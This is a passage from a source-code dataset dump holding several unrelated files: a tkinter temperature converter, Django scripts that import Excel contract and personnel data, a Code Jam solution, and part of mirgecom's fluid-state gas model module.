5/9\r\n to_convert = self.round_it(to_convert)\r\n celsius = self.round_it(celsius)\r\n answer = \"{} degrees F equals {} degree C\".format(to_convert, celsius)\r\n\r\n else:\r\n # input is invalid\r\n answer = \"Too cold\"\r\n has_error = \"yes\"\r\n\r\n # Display answer\r\n if has_error == \"no\":\r\n self.converted_label.configure(text=answer, fg=\"blue\")\r\n self.to_convert_entry.configure(bg=\"white\")\r\n else:\r\n self.converted_label.configure(text=answer, fg=\"red\")\r\n self.to_convert_entry.configure(bg=error)\r\n\r\n # Add Answer to list for history\r\n if has_error != \"yes\":\r\n self.all_calc_list.append(answer)\r\n self.history_buttons.config(state=NORMAL)\r\n\r\n except ValueError:\r\n self.converted_label.configure(text=\"enter a number\", fg=\"red\")\r\n self.to_convert_entry.configure(bg=error)\r\n\r\n def round_it(self, to_round):\r\n if to_round % 1 == 0:\r\n rounded = int(to_round)\r\n else:\r\n rounded = round(to_round, 1)\r\n return rounded\r\n\r\n def history(self, calc_history):\r\n History(self, calc_history)\r\n\r\n\r\nclass Help:\r\n def __init__(self, partner):\r\n\r\n # disable help button\r\n partner.help_button.config(state=DISABLED)\r\n\r\n # Set up child window (ie: help box)\r\n self.help_box = Toplevel()\r\n\r\n # Set up GUI Frame\r\n self.help_frame = Frame(self.help_box, width=250, bg=\"light blue\")\r\n self.help_frame.grid()\r\n # Set up help heading (row 0)\r\n self.how_heading = Label(self.help_frame,\r\n text=\"Help / Instruction\",\r\n font=\"arial 20 bold\", bg=\"light blue\")\r\n self.how_heading.grid(row=0)\r\n # Help text (label, row 1)\r\n self.help_text = Label(self.help_frame,\r\n justify=LEFT, width=50, bg=\"light blue\", wrap=200)\r\n self.help_text.grid(column=0, row=1)\r\n\r\n # Dismiss button (row 2)\r\n self.dismiss_btn = Button(self.help_frame, text=\"Dismiss\", width=10, bg=\"gray\",\r\n font=\"arial 10 bold\", fg=\"#F7FBFD\",\r\n command=partial(self.close_help, partner))\r\n self.dismiss_btn.grid(row=2, pady=10)\r\n\r\n def close_help(self, partner):\r\n # Put help button back to normal\r\n partner.help_button.config(state=NORMAL)\r\n self.help_box.destroy()\r\n\r\n\r\nclass History:\r\n def __init__(self, partner, calc_history):\r\n\r\n background = \"light blue\"\r\n\r\n # disable history button\r\n partner.history_buttons.config(state=DISABLED)\r\n\r\n # Set up child window (ie: history box)\r\n self.history_box = Toplevel()\r\n\r\n # Set up GUI Frame\r\n self.history_frame = Frame(self.history_box, width=150, bg=\"light blue\")\r\n self.history_frame.grid()\r\n\r\n # Set up history heading (row 0)\r\n self.how_heading = Label(self.history_frame,\r\n text=\"Calculation history \",\r\n font=\"arial 20 bold\",bg=\"light blue\")\r\n self.how_heading.grid(row=0)\r\n\r\n # history text (label, row 1)\r\n self.history_text = Label(self.history_frame,\r\n text=\"to much to write\",\r\n justify=LEFT,width=50, bg=\"light blue\",wrap=200)\r\n self.history_text.grid(column=0,row=1)\r\n\r\n # history output goes here...\r\n\r\n # Generate string from list of calculation...\r\n history_string = \"\"\r\n\r\n if len(calc_history) >= 7:\r\n for item in range(0,7):\r\n history_string += calc_history[len(calc_history)\r\n - item - 1]+\"\\n\"\r\n\r\n\r\n else:\r\n for item in calc_history:\r\n history_string += calc_history[len(calc_history)-\r\n calc_history.index(item)-1] + \"\\n\"\r\n self.history_text.config(text=\"Here is your calculation \"\r\n \"history. You can use the \"\r\n \"export button to save this \"\r\n \"data to a text file if \"\r\n \"desired.\", font=\"arial 12 italic\")\r\n\r\n # Lable to display calculation history to user\r\n self.calc_history_label = Label(self.history_frame, text=history_string,\r\n bg=background, font=\"arial 12 bold\", justify=LEFT)\r\n self.calc_history_label.grid(row=2)\r\n\r\n # Export / dismiss Button Frame\r\n self.export_dismiss_frame = Frame(self.history_frame)\r\n self.export_dismiss_frame.grid(row=3)\r\n\r\n # Export Button\r\n self.export_button = Button(self.export_dismiss_frame,\r\n text=\"export\",font=\"arial 12 bold\",\r\n bg=\"gray\", fg=\"#F7FBFD\",\r\n padx=10, pady=10,\r\n command=lambda: self.export(calc_history))\r\n self.export_button.grid(row=0, column=0)\r\n\r\n # dismiss Button\r\n self.dismiss_button = Button(self.export_dismiss_frame, text=\"Dismiss\",\r\n font=\"Arial 12 bold\",bg=\"gray\", fg=\"#F7FBFD\",\r\n padx=10, pady=10,\r\n command=partial(self.close_history, partner))\r\n self.dismiss_button.grid(row=0, column=1)\r\n\r\n def close_history(self, partner):\r\n # Put history button back to normal\r\n partner.history_buttons.config(state=NORMAL)\r\n self.history_box.destroy()\r\n\r\n def export(self, calc_history):\r\n Export(self, calc_history)\r\n\r\nclass Export:\r\n def __init__(self, partner, calc_history):\r\n\r\n print(calc_history)\r\n\r\n background_color = \"light blue\"\r\n\r\n # disable export button\r\n partner.export_button.config(state=DISABLED)\r\n\r\n # Set up child window (ie: export box)\r\n self.export_box = Toplevel()\r\n\r\n # If user press cross at top, closes export and\r\n # 'releases' export button\r\n self.export_box.protocol('WM_DELETE_WINDOW',\r\n partial(self.close_export, partner))\r\n\r\n # Set up GUI Frame\r\n self.export_frame = Frame(self.export_box, width=300, bg=background_color)\r\n self.export_frame.grid()\r\n\r\n # Set up export heading (row 0)\r\n self.how_heading = Label(self.export_frame,\r\n text=\"Export / Instruction\",\r\n font=\"arial 20 bold\", bg=background_color)\r\n self.how_heading.grid(row=0)\r\n\r\n # Help text (label, row 1)\r\n self.export_text = Label(self.export_frame, text=\"Enter a filename \"\r\n \"in the box below \"\r\n \"button to save your \"\r\n \"calculation history \"\r\n \"to a text file.\",\r\n font=\"arial 13 italic\",\r\n justify=LEFT, width=50, bg=background_color, wrap=200)\r\n self.export_text.grid(row=1)\r\n\r\n # Warning text (label, row2)\r\n self.export_text = Label(self.export_frame, text=\"If the filename \"\r\n \"you enter below \"\r\n \"already exists, \"\r\n \"its contents will \"\r\n \"be replaced with \"\r\n \"your calculation \"\r\n \"history\",\r\n justify=LEFT, bg=background_color, fg=\"black\",\r\n font=\"arial 10 italic\", wrap=225, padx=10,\r\n pady=10)\r\n self.export_text.grid(row=2, pady=10)\r\n\r\n # filename entry box (row 3)\r\n self.filename_entry = Entry(self.export_frame, width=20,\r\n font=\"arial 14 bold\", justify=CENTER)\r\n self.filename_entry.grid(row=3, pady=10)\r\n\r\n # error massage labels (initially blank, row 4 )\r\n self.save_error_label = Label(self.export_frame, text=\"\", fg=\"black\",\r\n bg=background_color)\r\n self.save_error_label.grid(row=4)\r\n\r\n # Save / Cancel Frame (row 4)\r\n self.save_cancel_frame = Frame(self.export_frame)\r\n self.save_cancel_frame.grid(row=5, pady=10)\r\n\r\n # Save and Cancel buttons 9row 0 of save_cancel_frame)\r\n self.save_button = Button(self.save_cancel_frame, text=\"Save\",\r\n bg=\"gray\", fg=\"#F7FBFD\",\r\n padx=10, pady=10,\r\n command=partial(lambda: self.save_history(partner, calc_history)))\r\n self.save_button.grid(row=0, column=0)\r\n\r\n self.cancel_button = Button(self.save_cancel_frame, text=\"Cancel\",\r\n bg=\"gray\", fg=\"#F7FBFD\", padx=10, pady=10,\r\n command=partial(self.close_export, partner))\r\n self.cancel_button.grid(row=0, column=1)\r\n\r\n def save_history(self, partner, calc_history):\r\n\r\n # Regular expression to check filname is valid\r\n valid_char = \"[A-Za-z0-9_]\"\r\n has_error = \"no\"\r\n\r\n filename = self.filename_entry.get()\r\n print(filename)\r\n\r\n for letter in filename:\r\n if re.match(valid_char, letter):\r\n continue\r\n\r\n elif letter == \" \":\r\n problem = \"(no spaces allowed)\"\r\n\r\n else:\r\n problem = (\"(no {}'s allowed)\".format(letter))\r\n has_error = \"yes\"\r\n break\r\n\r\n if filename == \"\":\r\n problem = \"can't be blank\"\r\n has_error = \"yes\"\r\n\r\n if has_error == \"yes\":\r\n # Display error message\r\n self.save_error_label.config(text=\"Invalid filename - {}\".format(problem))\r\n # Change entry box background to pink\r\n self.filename_entry.config(bg=\"#ffafaf\")\r\n print()\r\n\r\n else:\r\n # If there are no errors, generate text file and then close dialogue\r\n # add .txt suffix!\r\n filename = filename + \".txt\"\r\n\r\n # create file to hold data\r\n f = open(filename, \"w+\")\r\n\r\n # add new line at end of each item\r\n for item in calc_history:\r\n f.write(item + \"\\n\")\r\n\r\n # close file\r\n f.close()\r\n\r\n # close dialogue\r\n self.close_export(partner)\r\n\r\n def close_export(self, partner):\r\n # Put export button back to normal...\r\n partner.export_button.config(state=NORMAL)\r\n self.export_box.destroy()\r\n\r\n# main routine\r\nif __name__ == \"__main__\":\r\n root = Tk()\r\n root.title(\"Temperature Converter\")\r\n something = Converter()\r\n root.mainloop()\r\n","repo_name":"khorek09/01_Temperature_Converter","sub_path":"assembled converter.py","file_name":"assembled converter.py","file_ext":"py","file_size_in_byte":16839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36431731386","text":"import pandas as pd\nfrom django.shortcuts import redirect,HttpResponse\n\nfrom contract.models import *\n\ndef uploaddatas(request):\n file = r\"C:\\Users\\Administrator\\Desktop\\工作资料\\EXCEL已阅\\file.xlsx\"\n df = pd.read_excel(file)\n df.fillna(\"\",inplace=True)\n df['signdate'] = pd.to_datetime(df['signdate'])\n df['year']=df['year'].astype(str)\n custom_list = ['name', 'city', 'contact_man', 'tel','founder_id','company_id']\n contract_list = [ 'Cname','num','singman', 'signdate', 'year', 'total_price', 'contract_type', 'update_by',\n 'itemcontent', 'payment', 'deadline_text']\n prg_list = ['owner','ownerrecord', 'progress', 'prg_explain']\n\n # if contractname=Cname:contractfield='name'\n\n for index, row in df.iterrows():\n customs=Custom.objects.filter(name=row['name'])\n if customs:\n custom=customs.all()[0]\n else:\n custom=Custom()\n for each in custom_list:\n setattr(custom,each,row[each])\n custom.save()\n contracts=Contract.objects.filter(num=row['num'])\n if contracts:\n contract=contracts.all()[0]\n else:\n contract=Contract(name=row['Cname'],custom=custom)\n for each in contract_list[1:]:\n setattr(contract,each,row[each])\n contract.save()\n if not Prgsheet.objects.filter(contract=contract):\n prgsheet=Prgsheet(contract=contract,ownerrecord=row['ownerrecord'],\n progress=row['progress'],prg_explain=row['prg_explain'],\n owner=UserProfile.objects.get(nick_name=row['owner'])\n )\n prgsheet.save()\n\n return HttpResponse(\"sucessful!\")\n\n\ndef uploadcontract(request):\n file = r\"C:\\Users\\Administrator\\Desktop\\2019商标类合同电子档.xlsx\"\n df = pd.read_excel(file)\n df.fillna(\"\",inplace=True)\n df['signdate'] = pd.to_datetime(df['signdate'])\n df['year']=df['year'].astype(str)\n custom_list = ['name','contact_man', 'tel','founder_id','company_id']\n contract_list = [ 'Cname','num','singman', 'signdate', 'year', 'total_price', 'contract_type', 'update_by',\n ]\n for index, row in df.iterrows():\n customs=Custom.objects.filter(name=row['name'])\n if customs:\n custom=customs.all()[0]\n else:\n custom=Custom()\n for each in custom_list:\n setattr(custom,each,row[each])\n custom.save()\n contracts=Contract.objects.filter(num=row['num'])\n if contracts:\n contract=contracts.first()\n if contract.custom!=custom:contract.custom=custom\n if contract.name!=row['Cname']:contract.name=row['Cname']\n for each in contract_list[1:]:\n if getattr(contract, each)!=row[each]:setattr(contract, each, row[each])\n contract.save()\n else:\n contract=Contract(name=row['Cname'],custom=custom)\n for each in contract_list[1:]:\n setattr(contract,each,row[each])\n contract.save()\n\n return HttpResponse(\"sucessful!\")\n\ndef _get_or_create_subjects(names):\n subjects = []\n for subject_str in names.split(','):\n subject,created=Subject.objects.get_or_create(name=subject_str)\n subjects.append(subject)\n return subjects\n\ndef uploadpersonel():\n from lieguan.models import Personnel\n file = r\"C:\\Users\\Administrator\\Desktop\\personel.xlsx\"\n df = pd.read_excel(file, converters={'tel': str, 'num': str})\n df.fillna(\"\", inplace=True)\n df['signdate'] = pd.to_datetime(df['signdate'])\n df['enddate'] = pd.to_datetime(df['enddate'])\n personel_list =['name','num','gender','contact_man','tel','major_type','level','money','singman','signdate','enddate'\n]\n mtm='subject_or_worktype'\n i=0\n for index, row in df.iterrows():\n personel=Personnel.objects.filter(name=row['name'],major_type=row['major_type'])\n if personel.exists():\n pass\n else:\n i=i+1\n personel=Personnel()\n for each in personel_list:\n if isinstance(row[each],str):\n value=row[each].strip()\n else:\n value=row[each]\n setattr(personel,each,value)\n personel.founder_id=1\n personel.save()\n subjects=_get_or_create_subjects(row['subject_or_worktype'])\n if subjects:personel.subject_or_worktype.add(*subjects)\n\n return \"sucessful!\"+str(i)\n\ndef update_b_for_personnel():\n from lieguan.models import Personnel\n file = r\"C:\\Users\\Administrator\\Desktop\\contract_subject.xlsx\"\n df = pd.read_excel(file)\n df.fillna(\"\", inplace=True)\n i=0\n for index, row in df.iterrows():\n personel = Personnel.objects.filter(name__contains=row['name'], major_type=row['major_type'],level=row['level'])\n\n if personel.exists():\n i=i+1\n for p in personel:\n p.subject_or_worktype.add(Subject.objects.get(name='B'))\n else:\n print(row['name'])\n return \"success\"+str(i)\n\n\n\ndef test():\n file = r\"C:\\Users\\Administrator\\Desktop\\personel.xlsx\"\n df = pd.read_excel(file,converters={'tel':str,'num':str})\n df.fillna(\"\", inplace=True)\n df['signdate'] = pd.to_datetime(df['signdate'])\n df['enddate'] = pd.to_datetime(df['enddate'])\n\n return df","repo_name":"htyangya/scwork","sub_path":"common/uploaddatas.py","file_name":"uploaddatas.py","file_ext":"py","file_size_in_byte":5472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23451394751","text":"import os\r\n\r\n\r\ndef solve_problem(coded_crowd):\r\n response = 0\r\n\r\n if len(coded_crowd) > 1:\r\n people_in_crowd = 0\r\n\r\n for shyness_level in xrange(1, len(coded_crowd)):\r\n number = int(coded_crowd[shyness_level - 1])\r\n people_in_crowd += number\r\n\r\n if people_in_crowd < shyness_level:\r\n needed_people = shyness_level - people_in_crowd\r\n response += needed_people\r\n people_in_crowd += needed_people\r\n\r\n return response\r\n\r\n\r\ndef exec_program(problem_folder, file_name):\r\n input_file_name = file_name + '.in'\r\n output_file_name = file_name + '.out'\r\n\r\n input_file = os.path.join(problem_folder, input_file_name)\r\n output_file = os.path.join(problem_folder, output_file_name)\r\n\r\n with open(input_file, 'rb') as in_file:\r\n with open(output_file, 'wb') as out_file:\r\n for index, line in enumerate(in_file):\r\n if index != 0:\r\n splitted_line = line.split(' ')\r\n response = solve_problem(splitted_line[1].replace('\\r\\n', ''))\r\n out_file.write(\"Case #%d: %d\\r\\n\" % (index, response))\r\n\r\n\r\nexec_program(r'D:\\Users\\Daniel\\Documents\\Google Code Jam\\Problem A', 'A-large')","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_155/2219.py","file_name":"2219.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26046082612","text":"\"\"\":mod:`mirgecom.gas_model` provides utilities to deal with gases.\n\nPhysical Gas Model Encapsulation\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n.. autoclass:: GasModel\n\nFluid State Encapsulation\n^^^^^^^^^^^^^^^^^^^^^^^^^\n\n.. autoclass:: FluidState\n.. autoclass:: ViscousFluidState\n\nFluid State Handling Utilities\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n.. autofunction:: make_fluid_state\n.. autofunction:: replace_fluid_state\n.. autofunction:: project_fluid_state\n.. autofunction:: make_fluid_state_trace_pairs\n.. autofunction:: make_operator_fluid_states\n\"\"\"\n\n__copyright__ = \"\"\"\nCopyright (C) 2021 University of Illinois Board of Trustees\n\"\"\"\n\n__license__ = \"\"\"\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n\"\"\"\nimport numpy as np # noqa\nfrom functools import partial\nfrom meshmode.dof_array import DOFArray # noqa\nfrom dataclasses import dataclass\nfrom arraycontext import dataclass_array_container\nfrom mirgecom.fluid import ConservedVars\nfrom mirgecom.eos import (\n GasEOS,\n GasDependentVars,\n MixtureDependentVars,\n MixtureEOSNeededError\n)\nfrom mirgecom.transport import (\n TransportModel,\n GasTransportVars\n)\nfrom grudge.dof_desc import (\n DD_VOLUME_ALL,\n VolumeDomainTag,\n DISCR_TAG_BASE,\n)\nimport grudge.op as op\nfrom grudge.trace_pair import (\n interior_trace_pairs,\n tracepair_with_discr_tag\n)\nfrom mirgecom.utils import normalize_boundaries\n\nfrom typing import Optional\n\n\n@dataclass(frozen=True)\nclass GasModel:\n r\"\"\"Physical gas model for calculating fluid state-dependent quantities.\n\n .. attribute:: eos\n\n A gas equation of state to provide thermal properties.\n\n .. attribute:: transport_model\n\n A gas transport model to provide transport properties. None for inviscid\n models.\n \"\"\"\n\n eos: GasEOS\n transport: Optional[TransportModel] = None\n\n\n@dataclass_array_container\n@dataclass(frozen=True)\nclass FluidState:\n r\"\"\"Gas model-consistent fluid state.\n\n .. attribute:: cv\n\n Fluid conserved quantities\n\n .. attribute:: dv\n\n Fluid state-dependent quantities corresponding to the chosen equation of\n state.\n\n .. autoattribute:: array_context\n .. autoattribute:: dim\n .. autoattribute:: nspecies\n .. autoattribute:: pressure\n .. autoattribute:: temperature\n .. autoattribute:: velocity\n .. autoattribute:: speed\n .. autoattribute:: wavespeed\n .. autoattribute:: speed_of_sound\n .. autoattribute:: mass_density\n .. autoattribute:: momentum_density\n .. autoattribute:: energy_density\n .. autoattribute:: species_mass_density\n .. autoattribute:: species_mass_fractions\n .. autoattribute:: species_enthalpies\n \"\"\"\n\n cv: ConservedVars\n dv: GasDependentVars\n\n @property\n def array_context(self):\n \"\"\"Return the relevant array context for this object.\"\"\"\n return self.cv.array_context\n\n @property\n def dim(self):\n \"\"\"Return the number of physical dimensions.\"\"\"\n return self.cv.dim\n\n @property\n def nspecies(self):\n \"\"\"Return the number of physical dimensions.\"\"\"\n return self.cv.nspecies\n\n @property\n def pressure(self):\n \"\"\"Return the gas pressure.\"\"\"\n return self.dv.pressure\n\n @property\n def temperature(self):\n \"\"\"Return the gas temperature.\"\"\"\n return self.dv.temperature\n\n @property\n def mass_density(self):\n \"\"\"Return the gas density.\"\"\"\n return self.cv.mass\n\n @property\n def momentum_density(self):\n \"\"\"Return the gas momentum density.\"\"\"\n return self.cv.momentum\n\n @property\n def energy_density(self):\n \"\"\"Return the gas total energy density.\"\"\"\n return self.cv.energy\n\n @property\n def species_mass_density(self):\n \"\"\"Return the gas species densities.\"\"\"\n return self.cv.species_mass\n\n @property\n def velocity(self):\n \"\"\"Return the gas velocity.\"\"\"\n return self.cv.velocity\n\n @property\n def speed(self):\n \"\"\"Return the gas speed.\"\"\"\n return self.cv.speed\n\n @property\n def species_mass_fractions(self):\n \"\"\"Return the species mass fractions y = species_mass / mass.\"\"\"\n return self.cv.species_mass_fractions\n\n @property\n def speed_of_sound(self):\n \"\"\"Return the speed of sound in the gas.\"\"\"\n return self.dv.speed_of_sound\n\n @property\n def wavespeed(self):\n \"\"\"Return the characteristic wavespeed.\"\"\"\n return self.cv.speed + self.dv.speed_of_sound\n\n @property\n def is_viscous(self):\n \"\"\"Indicate if this is a viscous state.\"\"\"\n return isinstance(self, ViscousFluidState)\n\n @property\n def is_mixture(self):\n \"\"\"Indicate if this is a state resulting from a mixture gas model.\"\"\"\n return isinstance(self.dv, MixtureDependentVars)\n\n def _get_mixture_property(self, name):\n \"\"\"Grab a mixture property if EOS is a :class:`~mirgecom.eos.MixtureEOS`.\"\"\"\n if not self.is_mixture:\n raise \\\n MixtureEOSNeededError(\"Mixture EOS required for mixture properties.\")\n return getattr(self.dv, name)\n\n @property\n def species_enthalpies(self):\n \"\"\"Return the fluid species enthalpies.\"\"\"\n return self._get_mixture_property(\"species_enthalpies\")\n\n\n@dataclass_array_container\n@dataclass(frozen=True)\nclass ViscousFluidState(FluidState):\n r\"\"\"Gas model-consistent fluid state for viscous gas models.\n\n .. attribute:: tv\n\n Viscous fluid state-dependent transport properties.\n\n .. autoattribute:: viscosity\n .. autoattribute:: bulk_viscosity\n .. autoattribute:: species_diffusivity\n .. autoattribute:: thermal_conductivity\n \"\"\"\n\n tv: GasTransportVars\n\n @property\n def viscosity(self):\n \"\"\"Return the fluid viscosity.\"\"\"\n return self.tv.viscosity\n\n @property\n def bulk_viscosity(self):\n \"\"\"Return the fluid bulk viscosity.\"\"\"\n return self.tv.bulk_viscosity\n\n @property\n def thermal_conductivity(self):\n \"\"\"Return the fluid thermal conductivity.\"\"\"\n return self.tv.thermal_conductivity\n\n @property\n def species_diffusivity(self):\n \"\"\"Return the fluid species diffusivities.\"\"\"\n return self.tv.species_diffusivity\n\n\ndef make_fluid_state(cv, gas_model, temperature_seed=None, limiter_func=None,\n limiter_dd=None):\n \"\"\"Create a fluid state from the conserved vars and physical gas model.\n\n Parameters\n ----------\n cv: :class:`~mirgecom.fluid.ConservedVars`\n\n The gas conserved state\n\n gas_model: :class:`~mirgecom.gas_model.GasModel`\n\n The physical model for the gas/fluid.\n\n temperature_seed: :class:`~meshmode.dof_array.DOFArray` or float\n\n An optional array or number with the temperature to use as a seed\n for a temperature evaluation for the created fluid state\n\n limiter_func:\n\n Callable function to limit the fluid conserved quantities to physically\n valid and realizable values.\n\n Returns\n -------\n :class:`~mirgecom.gas_model.FluidState`\n\n Thermally consistent fluid state\n \"\"\"\n temperature = gas_model.eos.temperature(cv, temperature_seed=temperature_seed)\n pressure = gas_model.eos.pressure(cv, temperature=temperature)\n\n if limiter_func:\n cv = limiter_func(cv=cv, pressure=pressure, temperature=temperature,\n dd=limiter_dd)\n\n dv = GasDependentVars(\n temperature=temperature,\n pressure=pressure,\n speed_of_sound=gas_model.eos.sound_speed(cv, temperature)\n )\n\n from mirgecom.eos import MixtureEOS, MixtureDependentVars\n if isinstance(gas_model.eos, MixtureEOS):\n dv = MixtureDependentVars(\n temperature=dv.temperature,\n pressure=dv.pressure,\n speed_of_sound=dv.speed_of_sound,\n species_enthalpies=gas_model.eos.species_enthalpies(cv, temperature))\n\n if gas_model.transport is not None:\n tv = gas_model.transport.transport_vars(cv=cv, dv=dv, eos=gas_model.eos)\n return ViscousFluidState(cv=cv, dv=dv, tv=tv)\n return FluidState(cv=cv, dv=dv)\n\n\ndef project_fluid_state(dcoll, src, tgt, state, gas_model, limiter_func=None):\n \"\"\"Project a fluid state onto a boundary consistent with the gas model.\n\n If required by the gas model, (e.g. gas is a mixture), this routine will\n ensure that the returned state is thermally consistent.\n\n Parameters\n ----------\n dcoll: :class:`~grudge.discretization.DiscretizationCollection`\n\n A discretization collection encapsulating the DG elements\n\n src:\n\n A :class:`~grudge.dof_desc.DOFDesc`, or a value convertible to one\n indicating where the state is currently defined\n (e.g. \"vol\" or \"all_faces\")\n\n tgt:\n\n A :class:`~grudge.dof_desc.DOFDesc`, or a value convertible to one\n indicating where to interpolate/project the state\n (e.g. \"all_faces\" or a boundary tag *btag*)\n\n state: :class:`~mirgecom.gas_model.FluidState`\n\n The full fluid conserved and thermal state\n\n gas_model: :class:`~mirgecom.gas_model.GasModel`\n\n The physical model constructs for the gas_model\n\n limiter_func:\n\n Callable function to limit the fluid conserved quantities to physically\n valid and realizable values.\n\n Returns\n -------\n :class:`~mirgecom.gas_model.FluidState`\n\n Thermally consistent fluid state\n \"\"\"\n cv_sd = op.project(dcoll, src, tgt, state.cv)\n temperature_seed = None\n if state.is_mixture:\n temperature_seed = op.project(dcoll, src, tgt, state.dv.temperature)\n\n return make_fluid_state(cv=cv_sd, gas_model=gas_model,\n temperature_seed=temperature_seed,\n limiter_func=limiter_func, limiter_dd=tgt)\n\n\ndef _getattr_ish(obj, name):\n if obj is None:\n return None\n else:\n return getattr(obj, name)\n\n\ndef make_fluid_state_trace_pairs(cv_pairs, gas_model, temperature_seed_pairs=None,\n limiter_func=None):\n \"\"\"Create a fluid state from the conserved vars and equation of state.\n\n This routine helps create a thermally consistent fluid state out of a collection\n of CV (:class:`~mirgecom.fluid.ConservedVars`) pairs. It is useful for creating\n consistent boundary states for partition boundaries.\n\n Parameters\n ----------\n cv_pairs: list of :class:`~grudge.trace_pair.TracePair`\n\n List of tracepairs of fluid CV (:class:`~mirgecom.fluid.ConservedVars`) for\n each boundary on which the thermally consistent state is desired\n\n gas_model: :class:`~mirgecom.gas_model.GasModel`\n\n The physical model constructs for the gas_model\n\n temperature_seed_pairs: list of :class:`~grudge.trace_pair.TracePair`\n\n List of tracepairs of :class:`~meshmode.dof_array.DOFArray` with the\n temperature seeds to use in creation of the thermally consistent states.\n\n limiter_func:\n\n Callable function to limit the fluid conserved quantities to physically\n valid and realizable values.\n\n Returns\n -------\n List of :class:`~grudge.trace_pair.TracePair`\n\n List of tracepairs of thermally consistent states\n (:class:`~mirgecom.gas_model.FluidState`) for each boundary in the input set\n \"\"\"\n from grudge.trace_pair import TracePair\n if temperature_seed_pairs is None:\n temperature_seed_pairs = [None] * len(cv_pairs)\n return [TracePair(\n cv_pair.dd,\n interior=make_fluid_state(cv_pair.int, gas_model,\n temperature_seed=_getattr_ish(tseed_pair, \"int\"),\n limiter_func=limiter_func, limiter_dd=cv_pair.dd),\n exterior=make_fluid_state(cv_pair.ext, gas_model,\n temperature_seed=_getattr_ish(tseed_pair, \"ext\"),\n limiter_func=limiter_func, limiter_dd=cv_pair.dd))\n for cv_pair, tseed_pair in zip(cv_pairs, temperature_seed_pairs)]\n\n\nclass _FluidCVTag:\n pass\n\n\nclass _FluidTemperatureTag:\n pass\n\n\ndef make_operator_fluid_states(\n dcoll, volume_state, gas_model, boundaries, quadrature_tag=DISCR_TAG_BASE,\n dd=DD_VOLUME_ALL, comm_tag=None, limiter_func=None):\n \"\"\"Prepare gas model-consistent fluid states for use in fluid operators.\n\n This routine prepares a model-consistent fluid state for each of the volume and\n all interior and domain boundaries, using the quadrature representation if\n one is given. The input *volume_state* is projected to the quadrature domain\n (if any), along with the model-consistent dependent quantities.\n\n .. note::\n\n When running MPI-distributed, volume state conserved quantities\n (ConservedVars), and for mixtures, temperatures will be communicated over\n partition boundaries inside this routine.\n\n Parameters\n ----------\n dcoll: :class:`~grudge.discretization.DiscretizationCollection`\n\n A discretization collection encapsulating the DG elements\n\n volume_state: :class:`~mirgecom.gas_model.FluidState`\n\n The full fluid conserved and thermal state\n\n gas_model: :class:`~mirgecom.gas_model.GasModel`\n\n The physical model constructs for the gas_model\n\n boundaries\n Dictionary of boundary functions, one for each valid\n :class:`~grudge.dof_desc.BoundaryDomainTag`.\n\n quadrature_tag\n An identifier denoting a particular quadrature discretization to use during\n operator evaluations.\n\n dd: grudge.dof_desc.DOFDesc\n the DOF descriptor of the discretization on which *volume_state* lives. Must\n be a volume on the base discretization.\n\n comm_tag: Hashable\n Tag for distributed communication\n\n limiter_func:\n\n Callable function to limit the fluid conserved quantities to physically\n valid and realizable values.\n\n Returns\n -------\n (:class:`~mirgecom.gas_model.FluidState`, :class:`~grudge.trace_pair.TracePair`,\n dict)\n\n Thermally consistent fluid state for the volume, fluid state trace pairs\n for the internal boundaries, and a dictionary of fluid states keyed by\n boundary domain tags in *boundaries*, all on the quadrature grid (if\n specified).\n \"\"\"\n boundaries = normalize_boundaries(boundaries)\n\n if not isinstance(dd.domain_tag, VolumeDomainTag):\n raise TypeError(\"dd must represent a volume\")\n if dd.discretization_tag != DISCR_TAG_BASE:\n raise ValueError(\"dd must belong to the base discretization\")\n\n dd_vol = dd\n dd_vol_quad = dd_vol.with_discr_tag(quadrature_tag)\n\n # project pair to the quadrature discretization and update dd to quad\n interp_to_surf_quad = partial(tracepair_with_discr_tag, dcoll, quadrature_tag)\n\n domain_boundary_states_quad = {\n bdtag: project_fluid_state(dcoll, dd_vol,\n dd_vol_quad.with_domain_tag(bdtag),\n volume_state, gas_model, limiter_func=limiter_func)\n for bdtag in boundaries\n }\n\n # performs MPI communication of CV if needed\n cv_interior_pairs = [\n # Get the interior trace pairs onto the surface quadrature\n # discretization (if any)\n interp_to_surf_quad(tpair=tpair)\n for tpair in interior_trace_pairs(\n dcoll, volume_state.cv, volume_dd=dd_vol,\n comm_tag=(_FluidCVTag, comm_tag))\n ]\n\n tseed_interior_pairs = None\n if volume_state.is_mixture:\n # If this is a mixture, we need to exchange the temperature field because\n # mixture pressure (used in the inviscid flux calculations) depends on\n # temperature and we need to seed the temperature calculation for the\n # (+) part of the partition boundary with the remote temperature data.\n tseed_interior_pairs = [\n # Get the interior trace pairs onto the surface quadrature\n # discretization (if any)\n interp_to_surf_quad(tpair=tpair)\n for tpair in interior_trace_pairs(\n dcoll, volume_state.temperature, volume_dd=dd_vol,\n comm_tag=(_FluidTemperatureTag, comm_tag))]\n\n interior_boundary_states_quad = \\\n make_fluid_state_trace_pairs(cv_interior_pairs, gas_model,\n tseed_interior_pairs,\n limiter_func=limiter_func)\n\n # Interpolate the fluid state to the volume quadrature 